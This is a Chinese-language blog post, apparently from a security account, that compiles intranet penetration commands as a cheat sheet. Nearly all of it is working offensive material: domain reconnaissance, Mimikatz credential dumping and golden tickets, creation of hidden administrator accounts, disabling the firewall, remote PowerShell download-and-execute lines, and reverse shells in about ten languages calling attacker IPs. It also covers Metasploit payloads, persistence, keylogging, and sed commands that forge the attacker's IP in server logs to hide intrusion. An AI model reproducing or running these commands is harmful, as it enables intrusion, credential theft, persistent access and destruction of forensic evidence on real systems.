前言
很早就想專門寫一篇關於內網的文章,一直沒有騰出空來,萬萬沒想到,寫下這篇文章的時候,竟然是我來某實驗室實習的時間段:)
信息搜集nmap掃描實時存活的ip
nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips
ipsping icmp連通性
nslookup www.baidu.com vps-ip dns連通性
dig @vps-ip www.baidu.com
curl vps:8080 http連通性
tracert
bitsadmin /transfer n http://ip/xx.exe C:\windows\temp\x.exe一種上傳文件 >=2008
fuser -nv tcp 80 查看埠pid
rdesktop -u username ip linux連接win遠程桌面 (有可能不成功)
where file win查找文件是否存在
找路徑,Linux下使用命令find -name *.jsp來查找,Windows下,使用for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i
netstat -apn | grep 8888 kill -9 PID 查看埠並kill
query user || qwinsta 查看當前在線用戶
net user 查看本機用戶
net user /domain 查看域用戶
net view & net group "domain computers" /domain 查看當前域計算機列表 第二個查的更多
net view /domain 查看有幾個域
net view \\dc 查看dc域內共享文件
net group /domain 查看域裡面的組
net group "domain admins" /domain 查看域管
net localgroup administrators /domain /這個也是查域管,是升級為域控時,本地帳戶也成為域管
net group "domain controllers" /domain 域控
net time /domain
net config workstation 當前登錄域 - 計算機名 - 用戶名
net use \\域控(如pc.xx.com) password /user:xxx.com\username 相當於這個帳號登錄域內主機,可訪問資源
ipconfig
systeminfo 查看系統信息
tasklist /svc
tasklist /S ip /U domain\username /P /V 查看遠程計算機tasklist
net localgroup administrators && whoami 查看當前是不是屬於管理組
netstat -ano
nltest /dclist:xx 查看域控
dsquery
whoami /all 查看Mandatory Label uac級別和sid號
net sessoin 查看遠程連接session(需要管理權限)
net share 共享目錄
cmdkey /l 查看保存登陸憑證
echo %logonserver% 查看登陸域
spn –l administrator spn記錄
set 環境變量
dsquery server - 查找目錄中的 AD DC/LDS 實例
dsquery user - 查找目錄中的用戶
dsquery computer 查詢所有計算機名稱windows 2003
dir /s *.exe 查找指定目錄下及子目錄下沒隱藏文件
arp -a 獲取arp表
使用ntdsxtract提取域信息
git clone https://github.com/csababarta/ntdsxtract.git python setup.py build && python setup.py install
for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="
ExifTool可讀寫及處理圖像、視頻及音頻,例如Exif、IPTC、XMP、JFIF、GeoTIFF、ICC Profile。包括許多相機的製造商信息讀取,如佳能,卡西歐,大疆,FLIR,三星等。
exiftool ‐lang zh‐cn ‐a ‐u ‐g1 ./55e736d12f2eb9385716e 513d8628535e4dd6fdc.jpg
Micropoor:」目標資產信息搜集的程度,決定滲透過程的複雜程度。目標主機信息搜集的深度,決定後滲透權限持續把控。滲透的本質是信息搜集,而信息搜集整理為後續的情報跟進提供了強大的保證。」
密碼憑證獲取提取 KRBTGT用戶帳戶的密碼數據:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit
管理員用戶帳戶提取密碼數據:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit
發現遠程登錄密碼等密碼 netpass.exe
下載[https://www.nirsoft.net/utils/network_password_recovery.html](https://www.nirsoft.net/utils/network_password_recovery.html)
獲取window vpn密碼:
mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit
wifi密碼:
netsh wlan show profile 查處wifi名下一條命令用 netsh wlan show profile WiFi-name key=clear
ie代理
reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v ProxyServer
reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"
pac代理
reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v AutoConfigURL //引 t0stmail
添加user
net user admin1 admin1 /add & net localgroup administrators admin1 /add
如果不允許遠程連接,修改註冊表
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
如果系統未配置過遠程桌面服務,第一次開啟時還需要添加防火牆規則,允許3389埠,命令如下:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
關閉防火牆
netsh firewall set opmode mode=disable
添加隱藏帳戶
開啟sys權限cmd
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'
添加用戶並隱藏
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')
Bash
bash -i>& /dev/tcp/192.168.146.129/2333 0>&1
bash -i >& /dev/tcp/192.168.146.129/2333 <&2
exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
nc 192.168.31.174 8080 -t -e /bin/bash
簡單解釋下:
bash -i 打開一個交互的bash
>&將標準錯誤輸出重定向到標準輸出
/dev/tcp/x.x.x.x/port 意為調用socket,建立socket連接,其中x.x.x.x為要反彈到的主機ip,port為埠
0>&1 <span style="color: rgb(51, 51, 51);"> 標準輸入重定向到標準輸出,實現你與反彈出來的shell的交互</span>
telnet反彈
攻擊者主機上打開兩個終端分別執行監聽:
nc -lvvp 4444
nc -lvvp 5555
目標主機中執行:
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555
監聽兩個埠分別用來輸入和輸出,其中x.x.x.x均為攻擊者ip
反彈shell成功後,在監聽4444埠的終端中執行命令可以在另一個終端中看到命令執行結果。
另一個版本:
rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p
Netcat without -e #1
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
Netcat without -e #2
nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444
XTerm
xterm -display 10.0.0.1:1
JDWP RCE
print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())
Working with Restricted Shells
print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java
1. Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
2. Perl
方法一:
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
方法二:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
3. Ruby
方法一:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
方法二:
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
4. PHP
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
5. Java
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
6. Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
埠轉發
被攻擊機 lcx.exe -slave 139.1.2.3 8888 10.48.128.25 3389
vps lcx.exe –listen 8888 5555
netsh win自帶(只支持tcp)
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.1.101 connectport=8080
將本地80轉到192.168.1.101:8080埠
netsh interface portproxy add v4tov4 listenaddress=1.1.1.101 listenport=8082 connectaddress=192.168.2.102 connectport=3389
通過連接1.1.1.101的8082埠,相當連接1.1.1.101可訪問的內網192.168.2.102的3389埠
portfwd是一款強大的埠轉發工具,支持TCP,UDP,支持IPV4–IPV6的轉換轉發。並且 內置於meterpreter。其中exe單版本源碼如下:[https://github.com/rssnsj/portfwd](https://github.com/rssnsj/portfwd)
攻擊機執行
portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389
portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80
分別訪問攻擊機33389,30080,既等價訪問靶機3389,80
提權小結常用exp:https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
linux提權輔助腳本
https://github.com/jondonas/linux-exploit-suggester-2
windows提權輔助腳本
https://github.com/Ethancck/Windows-Exploit-Suggester
linux相關payload:
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell/bind_tcp
linux/x64/shell/reverse_tcp
linux/x64/shell_bind_tcp
linux/x64/shell_bind_tcp_random_port
linux/x64/shell_reverse_tcp
windows相關payload:
windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/meterpreter/reverse_hop_http
windows/meterpreter/reverse_http
windows/meterpreter/reverse_http_proxy_pstore
windows/meterpreter/reverse_https
windows/meterpreter/reverse_https_proxy
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp
目標伺服器為64位用x64監聽,反彈meterpreter用含有meterpreter的模塊,反彈普通的shell(例如nc),shell_reverse_tcp模塊監聽
例如msf:
反彈shell msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
監聽 windows/meterpreter/reverse_tcp
反彈shell nc -e cmd.exe ip port
監聽 windows/shell_reverse_tcp
meterpreter下上傳 upload file 下載 download file
Msf進程注入(win2008 成功)meterpreter > getuid
Server username: xxxx
meterpreter > getpid
Current pid: 3456
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- -- ---- ----
12000 676 shell.exe x86 2 xxx C:\Users\xxx\Desktop\shell.exe
676 1124 explorer.exe x64 2 xxx C:\Windows\explorer.exe
meterpreter > migrate 676
[*] Migrating from 12000 to 676...
[*] Migration completed successfully.
meterpreter > run hashdump 需要sys權限 導出SAM
meterpreter > run post/windows/gather/smart_hashdump 需要sys權限
getsystem存在uac,用msf bypass,但特徵明顯 meterpreter > search bypassuac
msf powerdump load mimikatz 不太好用
Persistence: run persistence -h:用於創建啟動項啟動,會創建註冊表,創建文件。(X86_Linux不支持此腳本)
run persistence -U -i 10 -p 10390 -r free.ngrok.cc
使用powershell執行也被監控而被360攔截
meterpreter 的 run getgui -e 命令可以開啟成 功。360會提示阻止
Run metsvc -h :用於創建服務,會創建meterpreter服務,並上傳三個文件,使用-r參數可以卸載服務 ,被攔
Msf powershellmeterpreter > load powershell
meterpreter > powershell_shell
PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Ps > Invoke-Mimikatz -DumpCreds
2個或多個路由之間,沒有配置相應的路由表,不能訪問,獲得一臺機器shell session 添加路由,使msf可以在當前shell session下以被攻擊機訪問其他內網主機.
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 172.17.0.0/255.255.0.0
meterpreter > run autoroute -s 172.17.0.0/16 添加路由
meterpreter > run autoroute -p 查看路由
meterpreter > run autoroute -d -s 172.17.0.0/16 刪除
Msf鍵盤記錄在windows不會創建新進程
meterpreter > keyscan_start meterpreter > keyscan_dump meterpreter > keyscan_stop
自windows7 以上版本內置bitsadmin,它可以在網絡不穩定的狀態下下載文件,出錯會自 動重試,在比較複雜的網絡環境下,有著不錯的性能。
bitsadmin /rawreturn /transfer down "[http://vps/hello.php](http://vps/hello.php)" G:\text\hello.php
如果伺服器是64位,要把Mimikatz進程遷移到一個64位的程序進程中,才能查看64位系統密碼明文。32位任意
運行procdump.exe -accepteula -ma lsass.exe lsass.dmp(管理權限)後lsass.dmp放到mimikatz.exe同目錄,運行以下命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
導出當前 內存 hash,需要免殺過av等
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
Windows Server 2012,部分Windows Server 2008默認無法使用mimikatz導出明文口令
黃金票據(維持權限)域用戶sid
whoami /all
krbtgt hash
mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"
域管 net group "domain admins" /domain 這裡的是administrator
mimikatz "kerberos::purge""kerberos::golden /admin:administrator /domain:xx.com /sid:S-1-5- /krbtgt:hash /ticket:Adminstrator.kiribi""kerberos::ptt Administrator.kiribi""kerberos::tgt"
在滲透中,想要不留痕跡的(當然這是很難的),就要對自己的留下的痕跡進行擦除,這裡以Lniux為例。
Linux痕跡清除Apache日誌
Apache主要的日誌就是access.log``error_log,前者記錄了HTTTP的訪問記錄,後者記錄了伺服器的錯誤日誌。這些都可以在httpd.conf中找到。
明文的Apache文件,通過正則表達式就可以搞定:
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.logsed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log
其中192.168.1.3是我們的IP,192.168.1.4使我們偽造的IP。在正則表達式中有特殊的含義,所以需要用「」來進行轉義。
MySQL日誌文件
log-error=/var/log/mysql/mysql_error.log #錯誤日誌
log=/var/log/mysql/mysql.log#最好注釋掉,會產生大量的日誌,包括每一個執行的sql及環境變量的改變等等
log-bin=/var/log/mysql/mysql_bin.log # 用於備份恢復,或主從複製.這裡不涉及。
log-slow-queries=/var/log/mysql/mysql_slow.log #慢查詢日誌
log-error=/var/log/mysql/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid
執行下述命令清除即可
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/mysql/mysql_slow.log
至於二進位日誌文件,需要登錄mysql client來修改刪除,建議這種操作最先執行。
php日誌修改
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/apache/php_error.log
Linux日誌清除
這個比較多,記錄的也比較複雜,測試環境是CentOS 6.3。只把和滲透有關的文件列出來,主要在/etc/logrotate.d/syslog中
/var/log/maillog,該日誌文件記錄了每一個發送到系統或從系統發出的電子郵件的活動,它可以用來查看用戶使用哪個系統發送工具或把數據發送到哪個系統
var/log/messages,該文件的格式是每一行包含日期、主機名、程序名,後面是包含PID或內核標識的方括號,一個冒號和一個空格
/var/log/wtmp,該日誌文件永久記錄每個用戶登錄、註銷及系統的啟動,停機的事件。該日誌文件可以用來查看用戶的登錄記錄,last命令就通過訪問這個文件獲得這些信息,並以反序從後向前顯示用戶的登錄記錄,last也能根據用戶,終端tty或時間顯示相應的記錄
/var/run/utmp,該日誌文件記錄有關當前登錄的每個用戶的信息,因此這個文件會隨著用戶登錄和註銷系統而不斷變化,它只保留當時聯機的用戶記錄,不會為用戶保留永久的記錄。系統中需要查詢當前用戶狀態的程序,如who、w、users、finger等就需要訪問這個文件
/var/log/xferlog,該日誌文件記錄FTP會話,可以顯示出用戶向FTP伺服器或從伺服器拷貝了什麼文件。該文件會顯示用戶拷貝到伺服器上的用來入侵伺服器的惡意程序,以及該用戶拷貝了哪些文件供他使用。
bash_history,這是bash終端的命令記錄,能夠記錄1000條最近執行過的命令(具體多少條可以配置),通過這個文件可以分析此前執行的命令來知道知否有入侵者,每一個用戶的home目錄裡都有這麼一個文件
安利的腳本:https://github.com/JonGates/jon](https://github.com/JonGates/jon
後言滲透是一門藝術,外練一口氣,內練筋骨皮,時常鞏固自己的知識體系,才能站在滲透的一線。最後向發揚分享精神的Micropoor致敬!貼出大佬的github:
https://github.com/Micropoor/Micro8
長按二維碼關注烏雲安全
往期推薦
內網橫向滲透的常用姿勢
滲透測試之提權方式總結
滲透測試之windows系統提權總結
滲透測試某大型網際網路公司的思路與收穫